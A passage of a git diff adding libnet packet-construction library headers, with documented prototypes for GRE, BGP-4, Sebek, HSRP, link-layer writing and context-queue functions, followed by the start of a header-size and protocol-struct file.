the IP part of the packet is usually referred as "delivery + * header". It is then followed by the GRE header and finally the encapsulated + * packet (IP or whatever). + * As GRE is very modular, the first GRE header describes the structure of the + * header, using bits and flag to specify which fields will be present in the + * header. + * @param fv the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version. + * @param payload optional payload or NULL + * @param type which protocol is encapsulated (PPP, IP, ...) + * @param sum checksum (0 for libnet to autofill). + * @param offset byte offset from the start of the routing field to the first byte of the SRE + * @param key inserted by the encapsulator to authenticate the source + * @param seq sequence number used by the receiver to sort the packets + * @param len size of the GRE packet + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_egre(u_int16_t fv, u_int16_t type, u_int16_t sum, +u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length, +u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) header. The primary + * function of a BGP speaking system is to exchange network reachability + * information with other BGP systems. This network reachability information + * includes information on the list of Autonomous Systems (ASs) that + * reachability information traverses. This information is sufficient to + * construct a graph of AS connectivity from which routing loops may be pruned + * and some policy decisions at the AS level may be enforced. + * This function builds the base BGP header which is used as a preamble before + * any other BGP header. For example, a BGP KEEPALIVE message may be built with + * only this function, while an error notification requires a subsequent call + * to libnet_build_bgp4_notification. + * @param marker a value the receiver can predict (if the message type is not BGP OPEN, or no authentication is used, these 16 bytes are normally set as all ones) + * @param len total length of the BGP message, including the header + * @param type type code of the message (OPEN, UPDATE, NOTIFICATION or KEEPALIVE) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE], +u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) OPEN header. This is + * the first message sent by each side of a BGP connection. The optional + * parameters options should be constructed using the payload interface (see + * RFC 1771 for the options structures). + * @param version protocol version (should be set to 4) + * @param src_as Autonomous System of the sender + * @param hold_time used to compute the maximum allowed time between the receipt of KEEPALIVE, and/or UPDATE messages by the sender + * @param bgp_id BGP identifier of the sender + * @param opt_len total length of the optional parameters field in bytes + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time, +u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) update header. Update + * messages are used to transfer routing information between BGP peers. + * @param unfeasible_rt_len indicates the length of the (next) "withdrawn routes" field in bytes + * @param withdrawn_rt list of IP addresses prefixes for the routes that are being withdrawn; each IP address prefix is built as a 2-tuple <length (1 byte), prefix (variable)> + * @param total_path_attr_len indicates the length of the (next) "path attributes" field in bytes + * @param path_attributes each attribute is a 3-tuple <type (2 bytes), length, value> + * @param info_len indicates the length of the (next) "network layer reachability information" field in bytes (needed for internal memory size calculation) + * @param reachability_info 2-tuples <length (1 byte), prefix (variable)>. + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt, +u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len, +u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) notification header. + * A NOTIFICATION message is sent when an error condition is detected. Specific + * error information may be passed through the payload interface. + * @param err_code type of notification + * @param err_subcode more specific information about the reported error. + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a Sebek header. The Sebek protocol was designed by the Honeynet + * Project as a transport mechanism for post-intrusion forensic data. More + * information may be found here: http://www.honeynet.org/papers/sebek.pdf. + * @param magic identify packets that should be hidden + * @param version protocol version, currently 1 + * @param type type of record (read data is type 0, write data is type 1) + * @param counter PDU counter used to identify when packet are lost + * @param time_sec seconds since EPOCH according to the honeypot + * @param time_usec residual microseconds + * @param pid PID + * @param uid UID + * @param fd FD + * @param cmd[SEBEK_CMD_LENGTH] 12 first characters of the command + * @param length length in bytes of the PDU's body + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type, +u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, +u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a HSRP header. HSRP is a Cisco propietary protocol defined in + * RFC 2281 + * @param version version of the HSRP messages + * @param opcode type of message + * @param state current state of the router + * @param hello_time period in seconds between hello messages + * @param hold_time seconds that the current hello message is valid + * @param priority priority for the election proccess + * @param group standby group + * @param reserved reserved field + * @param authdata password + * @param virtual_ip virtual ip address + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_hsrp(u_int8_t version, u_int8_t opcode, u_int8_t state, +u_int8_t hello_time, u_int8_t hold_time, u_int8_t priority, u_int8_t group, +u_int8_t reserved, u_int8_t authdata[HSRP_AUTHDATA_LENGTH], u_int32_t virtual_ip, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a link layer header for an initialized l. The function + * determines the proper link layer header format from how l was initialized. + * The function current supports Ethernet and Token Ring link layers. + * @param dst the destination MAC address + * @param src the source MAC address + * @param oui Organizationally Unique Identifier (unused for Ethernet) + * @param type the upper layer protocol type + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Automatically builds a link layer header for an initialized l. The function + * determines the proper link layer header format from how l was initialized. + * The function current supports Ethernet and Token Ring link layers. + * @param dst the destination MAC address + * @param oui Organizationally Unique Identifier (unused for Ethernet) + * @param type the upper layer protocol type + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_link(u_int8_t *dst, u_int8_t *oui, u_int16_t type, +libnet_t *l); + +/** + * Writes a prebuilt packet to the network. The function assumes that l was + * previously initialized (via a call to libnet_init()) and that a + * previously constructed packet has been built inside this context (via one or + * more calls to the libnet_build* family of functions) and is ready to go. + * Depending on how libnet was initialized, the function will write the packet + * to the wire either via the raw or link layer interface. The function will + * also bump up the internal libnet stat counters which are retrievable via + * libnet_stats(). + * @param l pointer to a libnet context + * @return the number of bytes written, -1 on error + */ +int +libnet_write(libnet_t *l); + +/** + * Returns the IP address for the device libnet was initialized with. If + * libnet was initialized without a device (in raw socket mode) the function + * will attempt to find one. If the function fails and returns -1 a call to + * libnet_geterrror() will tell you why. + * @param l pointer to a libnet context + * @return a big endian IP address suitable for use in a libnet_build function or -1 + */ + +u_int32_t +libnet_get_ipaddr4(libnet_t *l); + +/** + * This function is not yet implemented under IPv6. + * @param l pointer to a libnet context + * @return well, nothing yet + */ +struct libnet_in6_addr +libnet_get_ipaddr6(libnet_t *l); + +/** + * Returns the MAC address for the device libnet was initialized with. If + * libnet was initialized without a device the function will attempt to find + * one. If the function fails and returns NULL a call to libnet_geterror() will + * tell you why. + * @param l pointer to a libnet context + * @return a pointer to the MAC address or NULL + */ +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l); + +/** + * Takes a colon separated hexidecimal address (from the command line) and + * returns a bytestring suitable for use in a libnet_build function. Note this + * function performs an implicit malloc and the return value should be freed + * after its use. + * @param s the string to be parsed + * @param len the resulting size of the returned byte string + * @return a byte string or NULL on failure + */ +u_int8_t * +libnet_hex_aton(int8_t *s, int *len); + +/** + * Returns the version of libnet. + * @return the libnet version + */ +char * +libnet_version(void); + +/** + * [Advanced Interface] + * Yanks a prebuilt, wire-ready packet from the given libnet context. If + * libnet was configured to do so (which it is by default) the packet will have + * all checksums written in. This function is part of the advanced interface + * and is only available when libnet is initialized in advanced mode. It is + * important to note that the function performs an implicit malloc() and a + * corresponding call to libnet_adv_free_packet() should be made to free the + * memory packet occupies. If the function fails libnet_geterror() can tell you + * why. + * @param l pointer to a libnet context + * @param packet will contain the wire-ready packet + * @param packet_s will contain the packet size + * @return 1 on success, -1 on failure + */ +int +libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s); + +/** + * [Advanced Interface] + * Pulls the header from the specified ptag from the given libnet context. This + * function is part of the advanced interface and is only available when libnet + * is initialized in advanced mode. If the function fails libnet_geterror() can + * tell you why. + * @param l pointer to a libnet context + * @param ptag the ptag referencing the header to pull + * @param header will contain the header + * @param header_s will contain the header size + * @return 1 on success, -1 on failure + */ +int +libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header, +u_int32_t *header_s); + +/** + * [Advanced Interface] + * Writes a packet the network at the link layer. This function is useful to + * write a packet that has been constructed by hand by the application + * programmer or, more commonly, to write a packet that has been returned by + * a call to libnet_adv_cull_packet(). This function is part of the advanced + * interface and is only available when libnet is initialized in advanced mode. + * If the function fails libnet_geterror() can tell you why. + * @param l pointer to a libnet context + * @param packet a pointer to the packet to inject + * @param packet_s the size of the packet + * @return the number of bytes written, or -1 on failure + */ +int +libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s); + +/** + * [Advanced Interface] + * Writes a packet the network at the raw socket layer. This function is useful + * to write a packet that has been constructed by hand by the application + * programmer or, more commonly, to write a packet that has been returned by + * a call to libnet_adv_cull_packet(). This function is part of the advanced + * interface and is only available when libnet is initialized in advanced mode. + * If the function fails libnet_geterror() can tell you why. + * @param l pointer to a libnet context + * @param packet a pointer to the packet to inject + * @param packet_s the size of the packet + * @return the number of bytes written, or -1 on failure + */ +int +libnet_adv_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t packet_s); + +/** + * [Advanced Interface] + * Frees the memory allocated when libnet_adv_cull_packet() is called. + * @param l pointer to a libnet context + * @param packet a pointer to the packet to free + */ +void +libnet_adv_free_packet(libnet_t *l, u_int8_t *packet); + +/** + * [Context Queue] + * Adds a new context to the libnet context queue. If no queue exists, this + * function will create the queue and add the specified libnet context as the + * first entry on the list. The functions checks to ensure niether l nor label + * are NULL, and that label doesn't refer to an existing context already in the + * queue. Additionally, l should refer to a libnet context previously + * initialized with a call to libnet_init(). If the context queue in write + * locked, this function will fail. + * @param l pointer to a libnet context + * @param label a canonical name given to recognize the new context, no longer than LIBNET_LABEL_SIZE + * @return 1 on success, -1 on failure +*/ +int +libnet_cq_add(libnet_t *l, char *label); + +/** + * [Context Queue] + * Removes a specified context from the libnet context queue by specifying the + * libnet context pointer. Note the function will remove the specified context + * from the context queue and cleanup internal memory from the queue, it is up + * to the application programmer to free the returned libnet context with a + * call to libnet_destroy(). Also, as it is not necessary to keep the libnet + * context pointer when initially adding it to the context queue, most + * application programmers will prefer to refer to entries on the context + * queue by canonical name and would use libnet_cq_remove_by_label(). If the + * context queue is write locked, this function will fail. + * @param l pointer to a libnet context + * @return the pointer to the removed libnet context, NULL on failure + */ +libnet_t * +libnet_cq_remove(libnet_t *l); + +/** + * [Context Queue] + * Removes a specified context from the libnet context queue by specifying the + * canonical name. Note the function will remove the specified context from + * the context queue and cleanup internal memory from the queue, it is up to + * the application programmer to free the returned libnet context with a call + * to libnet_destroy(). If the context queue is write locked, this function + * will fail. + * @param label canonical name of the context to remove + * @return the pointer to the removed libnet context, NULL on failure + */ +libnet_t * +libnet_cq_remove_by_label(char *label); + +/** + * [Context Queue] + * Returns the canonical label associated with the context. + * @param l pointer to a libnet context + * @return pointer to the libnet context's label + */ +int8_t * +libnet_cq_getlabel(libnet_t *l); + +/** + * [Context Queue] + * Locates a libnet context from the queue, indexed by a canonical label. + * @param label canonical label of the libnet context to retrieve + * @return the expected libnet context, NULL on failure + */ +libnet_t * +libnet_cq_find_by_label(char *label); + +/** + * [Context Queue] + * Destroys the entire context queue, calling libnet_destroy() on each + * member context. + */ +void +libnet_cq_destroy(void); + +/** + * [Context Queue] + * Intiailizes the interator interface and set a write lock on the entire + * queue. This function is intended to be called just prior to interating + * through the entire list of contexts (with the probable intent of inject a + * series of packets in rapid succession). This function is often used as + * per the following: + * + * for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next()) + * { + * ... + * } + * + * Much of the time, the application programmer will use the iterator as it is + * written above; as such, libnet provides a macro to do exactly that, + * for_each_context_in_cq(l). Warning: do not call the iterator more than once + * in a single loop. + * @return the head of the context queue + */ +libnet_t * +libnet_cq_head(void); + +/** + * [Context Queue] + * Check whether the iterator is at the last context in the queue. + * @return 1 if at the end of the context queue, 0 otherwise + */ +int +libnet_cq_last(void); + +/** + * [Context Queue] + * Get next context from the context queue. + * @reutrn the next context from the context queue + */ +libnet_t * +libnet_cq_next(void); + +/** + * [Context Queue] + * Function returns the number of libnet contexts that are in the queue. + * @return the number of libnet contexts currently in the queue + */ +u_int32_t +libnet_cq_size(void); + +/** + * [Diagnostic] + * Prints the contents of the given context. + * @param l pointer to a libnet context + */ +void +libnet_diag_dump_context(libnet_t *l); + +/** + * [Diagnostic] + * Prints the contents of every pblock. + * @param l pointer to a libnet context + */ +void +libnet_diag_dump_pblock(libnet_t *l); + +/** + * [Diagnostic] + * Returns the canonical name of the pblock type. + * @param type pblock type + * @return a string representing the pblock type type or "unknown" for an unknown value + */ +char * +libnet_diag_dump_pblock_type(u_int8_t type); + +/** + * [Diagnostic] + * Function prints the contents of the supplied buffer to the supplied + * stream pointer. Will swap endianness based disposition of mode variable. + * Useful to be used in conjunction with the advanced interface and a culled + * packet. + * @param packet the packet to print + * @param len length of the packet in bytes + * @param swap 1 to swap byte order, 0 to not + * @param stream a stream pointer to print to + */ +void +libnet_diag_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream); + +/* + * [Internal] + */ +int +libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size); + +/* + * [Internal] + */ +int +libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size); + +/* + * [Internal] + */ +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size); + +#if ((__WIN32__) && !(__CYGWIN__)) +/* + * [Internal] + */ +SOCKET +libnet_open_raw4(libnet_t *l); +#else +/* + * [Internal] + */ +int +libnet_open_raw4(libnet_t *l); +#endif + +/* + * [Internal] + */ +int +libnet_close_raw4(libnet_t *l); + +/* + * [Internal] + */ +int +libnet_open_raw6(libnet_t *l); + +/* + * [Internal] + */ +int +libnet_close_raw6(libnet_t *l); + +/* + * [Internal] + */ +int +libnet_select_device(libnet_t *l); + +/* + * [Internal] + */ +int +libnet_open_link(libnet_t *l); + +/* + * [Internal] + */ +int +libnet_close_link(libnet_t *l); + +/* + * [Internal] + */ +int +libnet_do_checksum(libnet_t *l, u_int8_t *packet, int protocol, int len); + +/* + * [Internal] + */ +u_int32_t +libnet_compute_crc(u_int8_t *buf, u_int32_t len); + +/* + * [Internal] + */ +u_int16_t +libnet_ip_check(u_int16_t *addr, int len); + +/* + * [Internal] + */ +int +libnet_in_cksum(u_int16_t *addr, int len); + +/* + * [Internal] + * If ptag is 0, function will create a pblock for the protocol unit type, + * append it to the list and return a pointer to it. If ptag is not 0, + * function will search the pblock list for the specified protocol block + * and return a pointer to it. + */ +libnet_pblock_t * +libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n, +u_int8_t type); + +/* + * [Internal] + * Function creates the pblock list if l->protocol_blocks == NULL or appends + * an entry to the doubly linked list. + */ +libnet_pblock_t * +libnet_pblock_new(libnet_t *l, u_int32_t size); + +/* + * [Internal] + * Function swaps two pblocks in memory. + */ +int +libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2); + +/* + * [Internal] + * Function inserts a pblock into the doubly linked list. + */ +int +libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1, +libnet_ptag_t ptag2); + +/* + * [Internal] + * Function removes a pblock from context + */ +void +libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p); + +/* + * [Internal] + * Function updates the pblock meta-inforation. Internally it updates the + * ptag with a monotonically increasing variable kept in l. This way each + * pblock has a succesively increasing ptag identifier. + */ +libnet_ptag_t +libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h, +u_int8_t type); + + + /* + * [Internal] + * Checksums are a real pain in the <beep>!!! + * Function updates referer used to compute the checksum. All + * pblock need to know where is their referer (ie IP header). + * So, this function is called each time a new IP header is inserted. + * It updates the ip_pos field (referer) of each subsequent pblock. + */ +void +libnet_pblock_record_ip_offset(libnet_t *l, u_int32_t offset); + +/* + * [Internal] + * Function locates a given block by it's ptag. + */ +libnet_pblock_t * +libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag); + +/* + * [Internal] + * Function copies protocol block data over. + */ +int +libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf, +u_int32_t len); + +/* + * [Internal] + * Function sets pblock flags. + */ +void +libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags); + +/* + * [Internal] + * Function returns the protocol number for the protocol block type. If + * the type is unknown, the function defaults to returning IPPROTO_IP. + */ +int +libnet_pblock_p2p(u_int8_t type); + +/* + * [Internal] + * Function assembles the packet for subsequent writing. Function makes two + * passes through the pblock list: + */ +int +libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size); + +#if !(__WIN32__) +/* + * [Internal] + * By testing if we can retrieve the FLAGS of an iface + * we can know if it exists or not and if it is up. + */ +int +libnet_check_iface(libnet_t *l); +#endif + +#if defined(__WIN32__) +/* + * [Internal] + */ +BYTE * +libnet_win32_get_remote_mac(libnet_t *l, DWORD IP); + +/* + * [Internal] + */ +int +libnet_close_link_interface(libnet_t *l); + +/* + * [Internal] + */ +BYTE * +libnet_win32_read_arp_table(DWORD IP); +#endif +#endif /* __LIBNET_FUNCTIONS_H */ + +/* EOF */ diff --git a/libnet/include/libnet/libnet-headers.h b/libnet/include/libnet/libnet-headers.h new file mode 100644 index 0000000..322b73c --- /dev/null +++ b/libnet/include/libnet/libnet-headers.h @@ -0,0 +1,1703 @@ +/* + * $Id: libnet-headers.h,v 1.15 2004/11/09 07:05:07 mike Exp $ + * + * libnet-headers.h - Network routine library headers header file + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_HEADERS_H +#define __LIBNET_HEADERS_H +/** + * @file libnet-headers.h + * @brief libnet header information + */ + +/** + * Libnet defines header sizes for every builder function exported. + */ +#define LIBNET_802_1Q_H 0x12 /**< 802.1Q header: 18 bytes */ +#define LIBNET_802_1X_H 0x04 /**< 802.1X header: 4 bytes */ +#define LIBNET_802_2_H 0x03 /**< 802.2 LLC header: 3 bytes */ +#define LIBNET_802_2SNAP_H 0x08 /**< 802.2 LLC/SNAP header:8 bytes */ +#define LIBNET_802_3_H 0x0e /**< 802.3 header: 14 bytes */ +#define LIBNET_ARP_H 0x08 /**< ARP header w/o addrs: 8 bytes */ +#define LIBNET_ARP_ETH_IP_H 0x1c /**< ARP w/ ETH and IP: 28 bytes */ +#define LIBNET_BGP4_HEADER_H 0x13 /**< BGP header: 19 bytes */ +#define LIBNET_BGP4_OPEN_H 0x0a /**< BGP open header: 10 bytes */ +#define LIBNET_BGP4_UPDATE_H 0x04 /**< BGP open header: 4 bytes */ +#define LIBNET_BGP4_NOTIFICATION_H 0x02 /**< BGP notif. header: 2 bytes */ +#define LIBNET_CDP_H 0x08 /**< CDP header base: 8 bytes */ +#define LIBNET_DHCPV4_H 0xf0 /**< DHCP v4 header: 240 bytes */ +#define LIBNET_UDP_DNSV4_H 0x0c /**< UDP DNS v4 header: 12 bytes */ +#define LIBNET_TCP_DNSV4_H 0x0e /**< TCP DNS v4 header: 14 bytes */ +#define LIBNET_ETH_H 0x0e /**< Ethernet header: 14 bytes */ +#define LIBNET_FDDI_H 0x15 /**< FDDI header: 21 bytes */ +#define LIBNET_ICMPV4_H 0x04 /**< ICMP header base: 4 bytes */ +#define LIBNET_ICMPV4_ECHO_H 0x08 /**< ICMP_ECHO header: 8 bytes */ +#define LIBNET_ICMPV4_MASK_H 0x0c /**< ICMP_MASK header: 12 bytes */ +#define LIBNET_ICMPV4_UNREACH_H 0x08 /**< ICMP_UNREACH header: 8 bytes */ +#define LIBNET_ICMPV4_TIMXCEED_H 0x08 /**< ICMP_TIMXCEED header: 8 bytes */ +#define LIBNET_ICMPV4_REDIRECT_H 0x08 /**< ICMP_REDIRECT header: 8 bytes */ +#define LIBNET_ICMPV4_TS_H 0x14 /**< ICMP_TIMESTAMP headr:20 bytes */ +#define LIBNET_ICMPV6_H 0x08 /**< ICMP6 header base: 8 bytes */ +#define LIBNET_IGMP_H 0x08 /**< IGMP header: 8 bytes */ +#define LIBNET_IPV4_H 0x14 /**< IPv4 header: 20 bytes */ +#define LIBNET_IPV6_H 0x28 /**< IPv6 header: 40 bytes */ +#define LIBNET_IPV6_FRAG_H 0x08 /**< IPv6 frag header: 8 bytes */ +#define LIBNET_IPV6_ROUTING_H 0x04 /**< IPv6 frag header base:4 bytes */ +#define LIBNET_IPV6_DESTOPTS_H 0x02 /**< IPv6 dest opts base: 2 bytes */ +#define LIBNET_IPV6_HBHOPTS_H 0x02 /**< IPv6 hop/hop opt base:2 bytes */ +#define LIBNET_IPSEC_ESP_HDR_H 0x0c /**< IPSEC ESP header: 12 bytes */ +#define LIBNET_IPSEC_ESP_FTR_H 0x02 /**< IPSEC ESP footer: 2 bytes */ +#define LIBNET_IPSEC_AH_H 0x10 /**< IPSEC AH header: 16 bytes */ +#define LIBNET_ISL_H 0x1a /**< ISL header: 26 bytes */ +#define LIBNET_GRE_H 0x04 /**< GRE header: 4 bytes */ +#define LIBNET_GRE_SRE_H 0x04 /**< GRE SRE header: 4 bytes */ +#define LIBNET_MPLS_H 0x04 /**< MPLS header: 4 bytes */ +#define LIBNET_OSPF_H 0x10 /**< OSPF header: 16 bytes */ +#define LIBNET_OSPF_HELLO_H 0x18 /**< OSPF hello header: 24 bytes */ +#define LIBNET_OSPF_DBD_H 0x08 /**< OSPF DBD header: 8 bytes */ +#define LIBNET_OSPF_LSR_H 0x0c /**< OSPF LSR header: 12 bytes */ +#define LIBNET_OSPF_LSU_H 0x04 /**< OSPF LSU header: 4 bytes */ +#define LIBNET_OSPF_LSA_H 0x14 /**< OSPF LSA header: 20 bytes */ +#define LIBNET_OSPF_AUTH_H 0x08 /**< OSPF AUTH header: 8 bytes */ +#define LIBNET_OSPF_CKSUM 0x10 /**< OSPF CKSUM header: 16 bytes */ +#define LIBNET_OSPF_LS_RTR_H 0x10 /**< OSPF LS RTR header: 16 bytes */ +#define LIBNET_OSPF_LS_NET_H 0x08 /**< OSPF LS NET header: 8 bytes */ +#define LIBNET_OSPF_LS_SUM_H 0x0c /**< OSPF LS SUM header: 12 bytes */ +#define LIBNET_OSPF_LS_AS_EXT_H 0x10 /**< OSPF LS AS header: 16 bytes */ +#define LIBNET_NTP_H 0x30 /**< NTP header: 48 bytes */ +#define LIBNET_RIP_H 0x18 /**< RIP header base: 24 bytes */ +#define LIBNET_RPC_CALL_H 0x28 /**< RPC header: 40 bytes + * (assuming 8 byte auth header) + */ +#define LIBNET_RPC_CALL_TCP_H 0x2c /**< RPC header: 44 bytes + * (with record marking) + */ +#define LIBNET_SEBEK_H 0x30 /* sebek header: 48 bytes */ +#define LIBNET_STP_CONF_H 0x23 /**< STP conf header: 35 bytes */ +#define LIBNET_STP_TCN_H 0x04 /**< STP tcn header: 4 bytes */ +#define LIBNET_TOKEN_RING_H 0x16 /**< Token Ring header: 22 bytes */ +#define LIBNET_TCP_H 0x14 /**< TCP header: 20 bytes */ +#define LIBNET_UDP_H 0x08 /**< UDP header: 8 bytes */ +#define LIBNET_VRRP_H 0x08 /**< VRRP header: 8 bytes */ +#define LIBNET_HSRP_H 0x14 /**< HSRP header: 8 bytes */ + +/** + * IEEE 802.1Q (Virtual Local Area Network) VLAN header, static header + * size: 18 bytes + */ +struct libnet_802_1q_hdr +{ + u_int8_t vlan_dhost[ETHER_ADDR_LEN]; /**< destination ethernet address */ + u_int8_t vlan_shost[ETHER_ADDR_LEN]; /**< source ethernet address */ + u_int16_t vlan_tpi; /**< tag protocol ID */ + u_int16_t vlan_priority_c_vid; /**< priority | VLAN ID */ +#define LIBNET_802_1Q_PRIMASK 0x0007 /**< priority mask */ +#define LIBNET_802_1Q_CFIMASK 0x0001 /**< CFI mask */ +#define LIBNET_802_1Q_VIDMASK 0x0fff /**< vid mask */ + u_int16_t vlan_len; /**< length or type (802.3 / Eth 2) */ +}; + +/** + * IEEE 802.1X EAP (Extensible Authentication Protocol) header, static header + * size: 4 bytes + */ +struct libnet_802_1x_hdr +{ + u_int8_t dot1x_version; /**< protocol version */ + u_int8_t dot1x_type; /**< frame type */ +#define LIBNET_802_1X_PACKET 0x00 /**< 802.1x packet */ +#define LIBNET_802_1X_START 0x01 /**< 802.1x start */ +#define LIBNET_802_1X_LOGOFF 0x02 /**< 802.1x logoff */ +#define LIBNET_802_1X_KEY 0x03 /**< 802.1x key */ +#define LIBNET_802_1X_ENCASFAL 0x04 /**< 802.1x encasfal */ + u_int16_t dot1x_length; /**< total frame length */ +}; + +/* + * IEEE 802.2 LLC header + * Link Layer Control + * static header size: 3 bytes + */ +struct libnet_802_2_hdr +{ + u_int8_t llc_dsap; /* destination service access point */ + u_int8_t llc_ssap; /* source service access point */ +#define LIBNET_SAP_STP 0x42 +#define LIBNET_SAP_SNAP 0xaa + u_int8_t llc_control; /* control field */ +}; + + +/* + * IEEE 802.2 LLC/SNAP header + * SubNetwork Attachment Point + * static header size: 8 bytes + */ +struct libnet_802_2snap_hdr +{ + u_int8_t snap_dsap; /* destination service access point */ + u_int8_t snap_ssap; /* destination service access point */ + u_int8_t snap_control; /* control field */ + u_int8_t snap_oui[3]; /* OUI */ + u_int16_t snap_type; /* type */ +}; + + +/* + * 802.3 header + * IEEE Ethernet + * Static header size: 14 